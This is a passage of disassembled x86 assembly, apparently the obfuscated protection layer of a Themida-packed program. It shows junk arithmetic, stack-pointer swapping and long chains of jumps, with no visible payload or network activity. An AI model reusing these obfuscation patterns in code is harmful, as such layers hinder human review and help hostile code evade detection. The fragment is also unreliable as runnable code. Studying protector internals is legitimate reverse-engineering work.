loc_566FD7:				; CODE XREF: sub_562ABA+E308j
		mov	ch, 61h
		add	ch, ah
		pop	eax
		mov	dl, ch
		pop	ecx
		jmp	loc_568F0A
; ---------------------------------------------------------------------------


loc_566FE4:				; CODE XREF: sub_562ABA+B7F0j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_572AFF
; ---------------------------------------------------------------------------


loc_566FF5:				; CODE XREF: sub_562ABA+6116j
		pop	esi
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		xor	eax, ecx
		push	883h
		mov	[esp+22h+var_22], eax
		push	18E4h
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], ecx
		jmp	loc_5676B7
; ---------------------------------------------------------------------------


loc_567025:				; CODE XREF: sub_562ABA+7C72j
		add	bl, 3
		mov	cx, word ptr [esp+22h+var_22]
		add	esp, 2
		jmp	loc_56FB84
; ---------------------------------------------------------------------------


loc_567034:				; CODE XREF: sub_562ABA+4AADj
		add	edi, 4
		push	2B39h
		mov	[esp+22h+var_22], esi
		push	eax
		jmp	loc_55F5F1
; ---------------------------------------------------------------------------


loc_567048:				; CODE XREF: sub_562ABA+F487j
		add	ebx, 0A3D7BDA4h
		jmp	loc_568CDD
; ---------------------------------------------------------------------------
		push	[esp+26h+var_28+2]
		mov	edx, [esp+2Ah+var_2C+2]
		sub	esp, 4
		jmp	loc_5666CC
; ---------------------------------------------------------------------------


loc_567064:				; CODE XREF: sub_562ABA+53C4j
		sub	esp, 4
		jmp	loc_566C99
; ---------------------------------------------------------------------------


loc_56706C:				; CODE XREF: sub_562ABA+4EA4j
		push	dword ptr [edi+eax*4]
		push	eax
		jmp	loc_56D232
; ---------------------------------------------------------------------------


loc_567075:				; CODE XREF: sub_562ABA+F011j
		add	ebx, 4
		xchg	ebx, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5677A1
; ---------------------------------------------------------------------------


loc_567081:				; CODE XREF: sub_562ABA-1324j
		sub	edi, 362C69B0h
		jmp	loc_55E676
; ---------------------------------------------------------------------------


loc_56708C:				; CODE XREF: sub_562ABA-733j
		and	ch, 14h
		jmp	loc_56E286
; ---------------------------------------------------------------------------


loc_567094:				; CODE XREF: sub_562ABA+993j
		mov	esp, [esp+6+var_8+2]
		jmp	loc_56076D
; ---------------------------------------------------------------------------


loc_56709C:				; CODE XREF: sub_562ABA-1396j
		push	esp
		mov	edx, [esp+32h+var_32]
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_560313
; ---------------------------------------------------------------------------


loc_5670A9:				; CODE XREF: sub_562ABA+6FB4j
		push	eax
		mov	eax, 5E6F4898h
		jmp	loc_56A2CD
; ---------------------------------------------------------------------------


loc_5670B4:				; CODE XREF: sub_562ABA+6F71j
		mov	esp, [esp+3Eh+var_3E]
		mov	[esp+3Eh+var_3E], edx
		jmp	loc_56EA91
; ---------------------------------------------------------------------------


loc_5670BF:				; CODE XREF: sub_562ABA+BD81j
		sub	ebx, 23A5666h
		sub	ebx, esi
		push	ebp
		mov	ebp, 179A15AFh
		jmp	loc_565DBA
; ---------------------------------------------------------------------------


loc_5670D2:				; CODE XREF: sub_562ABA+844Fj
		xor	ecx, 44E69041h
		add	eax, ecx
		pop	ecx
		push	eax
		push	[esp+42h+var_3E]
		pop	eax
		jmp	loc_568165
; ---------------------------------------------------------------------------


loc_5670E6:				; CODE XREF: sub_562ABA+3A7Cj
		add	al, bl
		add	al, 89h
		add	al, 9Ch
		jmp	loc_55E208
; ---------------------------------------------------------------------------


loc_5670F1:				; CODE XREF: sub_562ABA+CC28j
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		jmp	loc_56F357
; ---------------------------------------------------------------------------


loc_5670FE:				; CODE XREF: sub_562ABA+115Bj
		sub	al, bh
		jmp	loc_56DD2D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56710D:				; CODE XREF: sub_562ABA+8865j
		shr	ebp, 4
		push	ebx
		mov	ebx, 6477C220h
		xor	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		jmp	loc_5694BE
; ---------------------------------------------------------------------------


loc_567121:				; CODE XREF: sub_562ABA+D062j
		pop	edi
		or	ecx, 1464EE7h
		add	ecx, 1501C825h
		push	79CBh
		mov	[esp+4Ch+var_4E+2], eax
		jmp	loc_5713D5
; ---------------------------------------------------------------------------


loc_56713B:				; CODE XREF: sub_562ABA-18ECj
		mov	ecx, esi
		pop	esi
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_565501
; ---------------------------------------------------------------------------


loc_567148:				; CODE XREF: sub_562ABA+1BC6j
		xor	edx, edi
		pop	edi
		sub	ebp, 643F7982h
		add	ebp, edx
		sub	esp, 4
		mov	[esp+4Ah+var_4A], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55E218
; ---------------------------------------------------------------------------


loc_56716F:				; CODE XREF: sub_562ABA+E38Cj
		add	edx, eax
		pop	eax
		xchg	edx, [esp+46h+var_46]
		pop	esp
		push	eax
		mov	eax, 60402145h
		inc	eax
		shr	eax, 3
		xor	eax, 1785006Fh
		add	edi, eax
		jmp	loc_565F06
; ---------------------------------------------------------------------------


loc_56718C:				; CODE XREF: sub_562ABA+8D50j
		mov	ebx, 7D1C3378h
		inc	ebx
		shr	ebx, 6
		jmp	loc_56209E
; ---------------------------------------------------------------------------


loc_56719A:				; CODE XREF: sub_562ABA-835j
		sub	ebp, esi
		pop	esi
		push	eax
		mov	eax, 0FD185604h
		sub	ebp, eax
		pop	eax
		sub	eax, ebp
		pop	ebp
		push	[esp+2Ah+var_2C+2]
		jmp	loc_55FC1F
; ---------------------------------------------------------------------------


loc_5671B1:				; CODE XREF: sub_562ABA+E683j
		sub	eax, 2
		push	4343h
		jmp	loc_572972
; ---------------------------------------------------------------------------


loc_5671C0:				; CODE XREF: sub_562ABA+780Ej
		push	ecx
		jmp	loc_56DBD7
; ---------------------------------------------------------------------------


loc_5671C6:				; CODE XREF: sub_562ABA+9DBEj
		not	ebp
		not	ebp
		not	ebp
		shr	ebp, 4
		jmp	loc_56E1EF
; ---------------------------------------------------------------------------


loc_5671D4:				; CODE XREF: sub_562ABA+497Fj
		push	esp
		jmp	loc_571FA8
; ---------------------------------------------------------------------------


loc_5671DA:				; CODE XREF: sub_562ABA-1913j
		mov	word ptr [esp+8+var_8],	cx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5671E3:				; CODE XREF: sub_562ABA+53j
		push	esi
		mov	esi, 3E342274h
		sub	esi, 39420EC3h
		dec	esi
		push	eax
		mov	eax, 4F213ACh
		jmp	loc_567D39
; ---------------------------------------------------------------------------


loc_5671FB:				; CODE XREF: sub_562ABA+5A6Aj
		pop	eax
		mov	ecx, 0E850F17Bh
		add	ecx, edx
		pop	edx
		xor	ecx, 5E5B791Dh
		add	edi, ecx
		pop	ecx
		and	edi, 51B4076Ah
		dec	edi
		sub	edi, 88F3F785h
		sub	eax, edi
		mov	edi, [esp+1Ah+var_1A]
		jmp	loc_56DFA0
; ---------------------------------------------------------------------------


loc_567224:				; CODE XREF: sub_562ABA-43DCj
		add	ebx, 19B62AC7h
		add	ebx, 3F790B41h
		jmp	loc_5663D5
; ---------------------------------------------------------------------------


loc_567235:				; CODE XREF: sub_562ABA+7977j
		mov	eax, 378C23E3h
		xor	ecx, eax
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_572093
; ---------------------------------------------------------------------------


loc_56724A:				; CODE XREF: sub_562ABA+DC59j
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56D7D3
; ---------------------------------------------------------------------------


loc_567260:				; CODE XREF: sub_562ABA+87CBj
		pop	edi
		jmp	loc_56BBE3
; ---------------------------------------------------------------------------


loc_567266:				; CODE XREF: sub_55FCA5+4A5j
		add	eax, 3E362E8h
		sub	eax, ebp
		push	48F5h
		mov	[esp+22h+var_22], ebp
		mov	ebp, 78253F38h
		jmp	loc_56225F
; ---------------------------------------------------------------------------


loc_56727F:				; CODE XREF: sub_562ABA+712Dj
		add	bl, 60h
		add	ch, bl
		jmp	loc_572432
; ---------------------------------------------------------------------------


loc_567289:				; CODE XREF: sub_562ABA+9C15j
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edi
		mov	edi, 458179Ch
		mov	edx, edi
		pop	edi
		jmp	loc_57017C
; ---------------------------------------------------------------------------


loc_5672A5:				; CODE XREF: sub_562ABA+B33j
		mov	eax, 32940585h
		sub	eax, 2EDDA5DBh
		or	eax, 6110077Dh
		jmp	loc_56A598
; ---------------------------------------------------------------------------


loc_5672B9:				; CODE XREF: sub_562ABA+F563j
		mov	edx, 3129134Ah
		add	ebp, edx
		pop	edx
		jmp	loc_564BF4
; ---------------------------------------------------------------------------


loc_5672C6:				; CODE XREF: sub_562ABA+4F31j
		push	[esp+36h+var_32]
		mov	ebp, [esp+3Ah+var_3A]
		push	ebp
		mov	ebp, esp
		jmp	loc_56C4F9
; ---------------------------------------------------------------------------
		push	[esp+3Eh+var_3A]
		push	[esp+42h+var_42]
		mov	eax, [esp+46h+var_46]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+4Eh+var_4E], ebp
		mov	ebp, 81B7F8Bh
		dec	ebp
		shr	ebp, 3
		shr	ebp, 1
		jmp	loc_563D34
; ---------------------------------------------------------------------------


loc_567301:				; CODE XREF: sub_55FCA5+34Cj
		xchg	ebp, [esp+4Eh+var_4E]
		pop	esp
		xor	edx, edx
		push	ebx
		jmp	loc_568C8C
; ---------------------------------------------------------------------------


loc_56730D:				; CODE XREF: sub_562ABA+2819j
		pop	esp
		mov	[esp+0], esp
		jmp	loc_56FF7D
; ---------------------------------------------------------------------------


loc_567316:				; CODE XREF: sub_562ABA-D03j
		xor	[esp+3Eh+var_3E], edi
		xor	edi, [esp+3Eh+var_3E]
		jmp	loc_570A41
; ---------------------------------------------------------------------------


loc_567321:				; CODE XREF: sub_562ABA+33DCj
		add	eax, 4
		jmp	loc_56516E
; ---------------------------------------------------------------------------


loc_56732B:				; CODE XREF: sub_562ABA+118Ej
		pop	[esp+36h+var_36]
		add	[esp+32h+var_32], 4
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_56C13F
; ---------------------------------------------------------------------------


loc_567347:				; CODE XREF: sub_562ABA+70CFj
		add	ecx, 4
		jmp	loc_570EE9
; ---------------------------------------------------------------------------


loc_567352:				; CODE XREF: sub_562ABA+5890j
		mov	bx, bp
		pop	bp
		sub	bx, 0FFFFh
		inc	bx
		jmp	loc_56B85E
; ---------------------------------------------------------------------------


loc_567363:				; CODE XREF: sub_562ABA+67DFj
		sub	esi, 62590B81h
		jmp	loc_560DB8
; ---------------------------------------------------------------------------


loc_56736E:				; CODE XREF: sub_562ABA+3CAFj
		xor	ah, bl
		pop	ebx
		and	ah, 0B5h
		shl	ah, 4
		sub	ah, 0F5h
		add	bl, 0A1h
		add	bl, ah
		sub	bl, 0A1h
		push	[esp+20h+var_22+2]
		pop	eax
		jmp	loc_56A717
; ---------------------------------------------------------------------------


loc_56738B:				; CODE XREF: sub_562ABA-15BEj
		push	4A66h
		mov	[esp-6+arg_0+2], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_561BED
; ---------------------------------------------------------------------------


loc_5673A3:				; CODE XREF: sub_562ABA+D991j
		add	edx, 744E758Eh
		jmp	loc_563C65
; ---------------------------------------------------------------------------


loc_5673AE:				; CODE XREF: sub_562ABA+9002j
		neg	dh
		xor	dh, 0DCh
		jmp	loc_56E0C1
; ---------------------------------------------------------------------------


loc_5673B8:				; CODE XREF: sub_562ABA+21BFj
		mov	esi, 5FD63055h
		push	edx
		mov	edx, 0AC14DDB7h
		add	esi, edx
		pop	edx
		jmp	loc_56581D
; ---------------------------------------------------------------------------


loc_5673CB:				; CODE XREF: sub_562ABA+B34Cj
		push	[esp+36h+var_36]
		jmp	loc_564B27
; ---------------------------------------------------------------------------


loc_5673D3:				; CODE XREF: sub_562ABA+3A4Fj
		pop	eax
		xchg	ebp, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], edi
		mov	edi, 0FE342D57h
		jmp	loc_569BA7
; ---------------------------------------------------------------------------


loc_5673E7:				; CODE XREF: sub_562ABA+58B9j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xor	ecx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ecx
		xor	ecx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_562D4D
; ---------------------------------------------------------------------------


loc_5673FE:				; CODE XREF: sub_562ABA+7599j
		mov	edx, [esp+8+var_8]
		jmp	loc_55EC91
; ---------------------------------------------------------------------------


loc_567406:				; CODE XREF: sub_562ABA-A03j
		mov	esp, [esp+0]
		jmp	loc_562F17
; ---------------------------------------------------------------------------


loc_56740E:				; CODE XREF: sub_562ABA+5D75j
		inc	ebx
		or	ebx, 142B1581h
		or	ebx, 59894539h
		push	ebp
		push	edx
		mov	edx, 5A3513C2h
		xor	edx, 19344A56h
		mov	ebp, edx
		pop	edx
		push	edi
		jmp	loc_56CA6E
; ---------------------------------------------------------------------------


loc_567431:				; CODE XREF: sub_562ABA+5D62j
		push	4473h
		mov	[esp+1Ah+var_1A], edx
		jmp	loc_5671D4
; ---------------------------------------------------------------------------


loc_56743E:				; CODE XREF: sub_562ABA+3B5Dj
		push	edi
		mov	edi, esp
		jmp	loc_56AAAF
; ---------------------------------------------------------------------------


loc_567446:				; CODE XREF: sub_562ABA-CA7j
		pop	ecx
		jmp	loc_56DDFE
; ---------------------------------------------------------------------------


loc_56744C:				; CODE XREF: sub_562ABA-204Dj
		sub	ecx, 481B0B78h
		add	ecx, esi
		push	edx
		mov	edx, 0EBF1875h
		shr	edx, 8
		push	esi
		mov	esi, 34DA7814h
		or	edx, esi
		pop	esi
		jmp	loc_570D92
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1A]
		pop	ecx
		jmp	loc_56C023
; ---------------------------------------------------------------------------


loc_567474:				; CODE XREF: sub_562ABA+AF3Bj
		xchg	ebp, [esp+1Ah+var_1A]
		pop	esp
		add	esp, 4
		push	esi
		jmp	loc_55EA48
; ---------------------------------------------------------------------------


loc_567481:				; CODE XREF: sub_562ABA+99FEj
		sub	ecx, 0F75337B1h
		jmp	loc_55EC56
; ---------------------------------------------------------------------------


loc_56748C:				; CODE XREF: sub_562ABA+DBDEj
		pop	ecx
		xor	[esp+12h+var_12], ecx
		xor	ecx, [esp+12h+var_12]
		xor	[esp+12h+var_12], ecx
		mov	eax, [esp+12h+var_12]
		sub	esp, 4
		mov	[esp+16h+var_16], edi
		jmp	loc_56CF65
; ---------------------------------------------------------------------------


loc_5674A4:				; CODE XREF: sub_562ABA+7754j
		sub	ecx, 477C6987h
		jmp	loc_561E11
; ---------------------------------------------------------------------------


loc_5674AF:				; CODE XREF: sub_562ABA+523Cj
		not	edx
		jmp	loc_565883
; ---------------------------------------------------------------------------


loc_5674B6:				; CODE XREF: sub_562ABA+7DA2j
		push	[esp+16h+var_12]
		jmp	loc_55F657
; ---------------------------------------------------------------------------


loc_5674BF:				; CODE XREF: sub_562ABA+61D8j
		mov	eax, [esp+1Ah+var_1A]
		jmp	loc_56558C
; ---------------------------------------------------------------------------


loc_5674C7:				; CODE XREF: sub_562ABA+792Ej
		push	esi
		mov	esi, 144068B3h
		jmp	loc_56268F
; ---------------------------------------------------------------------------


loc_5674D2:				; CODE XREF: sub_562ABA+81CEj
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, 209E7E7Ch
		neg	ecx
		xor	ecx, 3805242Ah
		push	eax
		mov	eax, 56BC4312h
		shl	eax, 6
		shl	eax, 3
		shr	eax, 2
		sub	eax, 0FE7C7922h
		jmp	loc_56E163
; ---------------------------------------------------------------------------


loc_5674FB:				; CODE XREF: sub_562ABA-BE5j
		pop	edx
		push	esi
		jmp	loc_569F26
; ---------------------------------------------------------------------------


loc_567502:				; CODE XREF: sub_562ABA+B76Fj
		add	ebp, ecx
		pop	ecx
		xor	ebp, 78712589h
		shr	ebp, 4
		or	ebp, 12FE69DAh
		jmp	loc_5698AA
; ---------------------------------------------------------------------------


loc_567519:				; CODE XREF: sub_562ABA+EB46j
		pop	esp
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+2+var_4+2], cx
		jmp	loc_566E5E
; ---------------------------------------------------------------------------


loc_56752A:				; CODE XREF: sub_562ABA+8DBDj
		neg	bx
		jmp	loc_567D6C
; ---------------------------------------------------------------------------


loc_567532:				; CODE XREF: sub_562ABA+26Dj
		push	edx
		mov	dh, 39h
		sub	al, dh
		pop	edx
		push	dx
		jmp	loc_570B43
; ---------------------------------------------------------------------------


loc_56753F:				; CODE XREF: sub_562ABA+8A91j
		mov	[esp+8+var_8], ebp
		push	edi
		push	39C533E8h
		pop	edi
		xor	edi, 62595F9Ch
		or	edi, 4CB07048h
		sub	edi, 13337325h
		sub	edi, 0DC1DBCBAh
		jmp	loc_56390E
; ---------------------------------------------------------------------------


loc_567566:				; CODE XREF: sub_562ABA+D1CEj
		pop	edi
		jmp	loc_567034
; ---------------------------------------------------------------------------


loc_56756C:				; CODE XREF: sub_562ABA+2B2Bj
		inc	ebp
		sub	ebp, 36A32768h
		xor	eax, ebp
		jmp	loc_56A99A
; ---------------------------------------------------------------------------


loc_56757A:				; CODE XREF: sub_562ABA+944Bj
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_569A39
; ---------------------------------------------------------------------------


loc_567583:				; CODE XREF: sub_562ABA+9D08j
		add	esp, 4
		push	ecx
		mov	ecx, 423C2CAEh
		and	eax, ecx
		jmp	loc_55EAEE
; ---------------------------------------------------------------------------


loc_567593:				; CODE XREF: sub_562ABA+5C68j
		push	edx
		mov	edx, 6B98456Eh
		sub	[esp+0Ah+var_8+2], edx
		pop	edx
		pop	edi
		add	edi, 6B98456Eh
		jmp	loc_56F325
; ---------------------------------------------------------------------------


loc_5675AA:				; CODE XREF: sub_562ABA+FD69j
		mov	ecx, 20F12778h
		push	eax
		mov	eax, 420F11EAh
		push	edx
		jmp	loc_572AE3
; ---------------------------------------------------------------------------


loc_5675BB:				; CODE XREF: sub_562ABA+70AAj
		add	edi, 11DB2BF0h
		jmp	loc_56245B
; ---------------------------------------------------------------------------


loc_5675C6:				; CODE XREF: sub_562ABA+D0C5j
		push	6938h
		mov	[esp+0], ecx
		mov	ecx, 0C414950h
		xchg	esi, ecx
		dec	esi
		push	ecx
		jmp	sub_5602C2
; ---------------------------------------------------------------------------


loc_5675DC:				; CODE XREF: sub_562ABA+2B3j
		push	edi
		mov	edi, 695B3D27h
		shr	edi, 3
		not	edi
		xor	edi, 0A333BDE8h
		add	ebp, edi
		jmp	loc_5602EE
; ---------------------------------------------------------------------------


loc_5675F4:				; CODE XREF: sub_562ABA-103Aj
		add	esp, 4
		jmp	loc_55E524
; ---------------------------------------------------------------------------


loc_5675FC:				; CODE XREF: sub_562ABA-31A3j
		add	esi, 30CD14BBh
		and	ebp, esi
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_560CB0
; ---------------------------------------------------------------------------


loc_567612:				; CODE XREF: sub_562ABA+D677j
		push	1
		push	[esp+12h+var_12]
		jmp	loc_56B597
; ---------------------------------------------------------------------------


loc_56761F:				; CODE XREF: sub_562ABA+2EB3j
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		sub	ebx, 63D918C5h
		push	edx
		mov	edx, 354F7FB0h
		inc	edx
		or	edx, 38435CA9h
		jmp	loc_55F7BB
; ---------------------------------------------------------------------------


loc_56763C:				; CODE XREF: sub_562ABA+D8C1j
		pop	ecx
		push	141h
		mov	[esp+4Eh+var_4E], ecx
		jmp	loc_56CE69
; ---------------------------------------------------------------------------


loc_56764A:				; CODE XREF: sub_562ABA+7F93j
		mov	ebx, 2D7F5DACh
		mov	eax, ebx
		pop	ebx
		push	5C00h
		mov	[esp+4Eh+var_4E], ecx
		mov	ecx, 38515DB7h
		inc	ecx
		push	edx
		jmp	loc_5659F0
; ---------------------------------------------------------------------------


loc_567666:				; CODE XREF: sub_562ABA+2369j
		sub	esp, 4
		jmp	loc_56B9F7
; ---------------------------------------------------------------------------


loc_56766E:				; CODE XREF: sub_562ABA-EFAj
		xchg	ebp, [esp+0Ah+var_C+2]
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		and	esi, 329B6544h
		shl	esi, 8
		or	esi, 69F6430Ah
		push	ebx
		jmp	loc_56F764
; ---------------------------------------------------------------------------


loc_56768C:				; CODE XREF: sub_562ABA+8F62j
		mov	ebp, 2A95422Eh
		add	ebp, 0FFFFFFFFh
		dec	ebp
		jmp	loc_565FA2
; ---------------------------------------------------------------------------


loc_56769D:				; CODE XREF: sub_562ABA+294Aj
		add	eax, 48C46E74h
		add	eax, edi
		sub	eax, 48C46E74h
		mov	edi, [esp+0]
		jmp	loc_572558
; ---------------------------------------------------------------------------


loc_5676B1:				; CODE XREF: sub_562ABA+1CD8j
		push	edi
		jmp	loc_56DEB8
; ---------------------------------------------------------------------------


loc_5676B7:				; CODE XREF: sub_562ABA+4566j
		push	[esp+22h+var_1E]
		pop	ecx
		pop	[esp+22h+var_22]
		sub	esp, 4
		mov	[esp+22h+var_22], ecx
		push	35A9h
		mov	[esp+26h+var_28+2], esi
		mov	ecx, [esp+26h+var_28+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_564DE5
; ---------------------------------------------------------------------------


loc_5676D8:				; CODE XREF: sub_562ABA+B9D2j
		mov	edi, 4
		sub	eax, edi
		push	[esp+2Ah+var_2C+2]
		pop	edi
		add	esp, 4
		push	eax
		push	[esp+2Ah+var_28+2]
		pop	eax
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		jmp	loc_56DFE4
; ---------------------------------------------------------------------------


loc_5676F7:				; CODE XREF: sub_562ABA-35Cj
		mov	[esp+3Ah+var_3A], ebp
		push	40h
		mov	ebp, [esp+3Eh+var_3E]
		jmp	loc_567FC4
; ---------------------------------------------------------------------------


loc_567707:				; CODE XREF: sub_562ABA-2F9Ej
		push	[esp+12h+var_12]
		pop	ebp
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_571B29
; ---------------------------------------------------------------------------


loc_567722:				; CODE XREF: sub_562ABA-687j
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], edx
		xor	edx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_56C39B
; ---------------------------------------------------------------------------


loc_56773C:				; CODE XREF: sub_562ABA+3CE0j
		sub	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_56000A
; ---------------------------------------------------------------------------


loc_56774C:				; CODE XREF: sub_562ABA+F2AEj
		sub	al, bl
		sub	al, 87h
		sub	esp, 2
		mov	[esp+0], dx
		sub	esp, 2
		mov	word ptr [esp+2+var_4+2], cx
		mov	cl, 1Eh
		push	ebx
		mov	bl, cl
		mov	dl, bl
		jmp	loc_5662DE
; ---------------------------------------------------------------------------


loc_56776A:				; CODE XREF: sub_562ABA-1BDAj
		xor	ebx, 66EB2FFEh
		jmp	loc_565647
; ---------------------------------------------------------------------------


loc_567775:				; CODE XREF: sub_562ABA+B09Fj
		add	edx, 1
		dec	edx
		sub	edx, 1
		push	esi
		mov	esi, 75E90318h
		or	esi, 61D41E19h
		add	esi, 0CE268C7Ch
		jmp	loc_5609E3
; ---------------------------------------------------------------------------


loc_567796:				; CODE XREF: sub_562ABA+37BCj
		add	ebx, 14FB426Dh
		jmp	loc_55E895
; ---------------------------------------------------------------------------


loc_5677A1:				; CODE XREF: sub_562ABA+45C2j
		push	esi
		push	edx
		push	53084823h
		pop	edx
		jmp	loc_55E8FF
; ---------------------------------------------------------------------------


loc_5677AE:				; CODE XREF: sub_562ABA+6C6Dj
		push	4469h
		mov	[esp+42h+var_42], ebx
		push	edi
		jmp	loc_56DE7B
; ---------------------------------------------------------------------------


loc_5677BC:				; CODE XREF: sub_562ABA+E7C5j
		add	esp, 4
		add	edx, 0A7FBD880h
		and	ecx, edx
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_569C99
; ---------------------------------------------------------------------------


loc_5677DE:				; CODE XREF: Themida_:00562959j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5677E3:				; CODE XREF: sub_562ABA+6CACj
		mov	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+3Ah+var_3A]
		jmp	loc_567DF9
; ---------------------------------------------------------------------------


loc_5677F1:				; CODE XREF: sub_562ABA-121j
		push	[esp+2Ah+var_2C+2]
		mov	ebx, [esp+0]
		add	esp, 4
		add	esp, 4
		jmp	loc_560270
; ---------------------------------------------------------------------------


loc_567805:				; CODE XREF: sub_562ABA+7EDBj
		pop	eax
		sub	ebx, 6E4D63FCh
		push	edx
		push	ecx
		jmp	loc_56A164
; ---------------------------------------------------------------------------


loc_567813:				; CODE XREF: sub_562ABA+3EB2j
		mov	edx, [esp-6+arg_0+2]
		jmp	loc_5645B4
; ---------------------------------------------------------------------------


loc_56781B:				; CODE XREF: sub_562ABA-3500j
		add	bl, 0ADh
		push	edx
		mov	dh, 32h
		not	dh
		jmp	loc_571CF6
; ---------------------------------------------------------------------------


loc_567828:				; CODE XREF: sub_562ABA+5AD5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 5D161379h
		jmp	loc_569519
; ---------------------------------------------------------------------------


loc_56783C:				; CODE XREF: sub_562ABA+A9AEj
		mov	ecx, 540394h
		jmp	loc_562117
; ---------------------------------------------------------------------------


loc_567846:				; CODE XREF: sub_562ABA+A86Bj
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56784E:				; CODE XREF: sub_562ABA+9112j
		add	ecx, ebx
		sub	ecx, 3CA11F9Bh
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp-0Ch+arg_8]
		jmp	loc_560BF6
; ---------------------------------------------------------------------------


loc_567865:				; CODE XREF: sub_562ABA+64E5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp
		neg	eax
		or	eax, 70E86730h
		push	0
		sub	[esp-0Ch+arg_8], eax
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_5649F3
; ---------------------------------------------------------------------------


loc_567889:				; CODE XREF: sub_562ABA+EE10j
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		sub	al, dh
		pop	dx
		push	edx
		push	ebx
		mov	bl, 0C0h
		jmp	loc_56987F
; ---------------------------------------------------------------------------


loc_56789F:				; CODE XREF: sub_562ABA+6E05j
		sub	eax, esi
		add	eax, 1A7533DCh
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, 556E63BBh
		inc	ebp
		neg	ebp
		add	ebp, 0B16D7293h
		add	eax, ebp
		pop	ebp
		pop	esi
		push	3B3Eh
		mov	[esp-0Ah+arg_4+2], ecx
		push	7534h
		mov	[esp-6+arg_0+2], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 6E3956F8h
		or	ebx, 76646596h
		jmp	loc_56FA30
; ---------------------------------------------------------------------------


loc_5678E1:				; CODE XREF: sub_562ABA-42AFj
		push	[esp+16h+var_16]
		push	[esp+1Ah+var_1A]
		pop	eax
		add	esp, 4
		push	6B28h
		jmp	loc_569E67
; ---------------------------------------------------------------------------


loc_5678F8:				; CODE XREF: sub_562ABA-4491j
		pop	esp
		push	edx
		push	[esp+4Ah+var_46]
		pop	edx
		pop	[esp+4Ah+var_4A]
		mov	esp, [esp+46h+var_46]
		and	[esp+46h+var_46], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56790E:				; CODE XREF: sub_562ABA+B8A7j
		add	ecx, 3C552EF8h
		mov	eax, [esp+4Ah+var_4A]
		jmp	loc_571982
; ---------------------------------------------------------------------------


loc_56791C:				; CODE XREF: sub_562ABA+524Cj
		push	eax
		mov	eax, 7DE848A0h
		mov	ebp, eax
		pop	eax
		shr	ebp, 3
		shr	ebp, 6
		sub	ebp, 40D46539h
		or	ebp, 73B31A32h
		push	edx
		mov	edx, 3D452E59h
		or	edx, 61AB52F8h
		push	esi
		jmp	loc_5660C9
; ---------------------------------------------------------------------------


loc_567949:				; CODE XREF: sub_562ABA-49C3j
		push	0
		jmp	loc_568328
; ---------------------------------------------------------------------------


loc_567953:				; CODE XREF: sub_562ABA+B81Fj
		push	[esp+0Ah+var_8+2]
		pop	esi
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_56706C
; ---------------------------------------------------------------------------


loc_567963:				; CODE XREF: sub_562ABA+3564j
		shr	ecx, 4
		shl	ecx, 1
		push	edi
		mov	edi, 4C584E2h
		jmp	loc_561272
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_1E]
		jmp	sub_561161
; ---------------------------------------------------------------------------


loc_56797C:				; CODE XREF: sub_562ABA+9857j
		mov	[esp+1Eh+var_1E], ecx
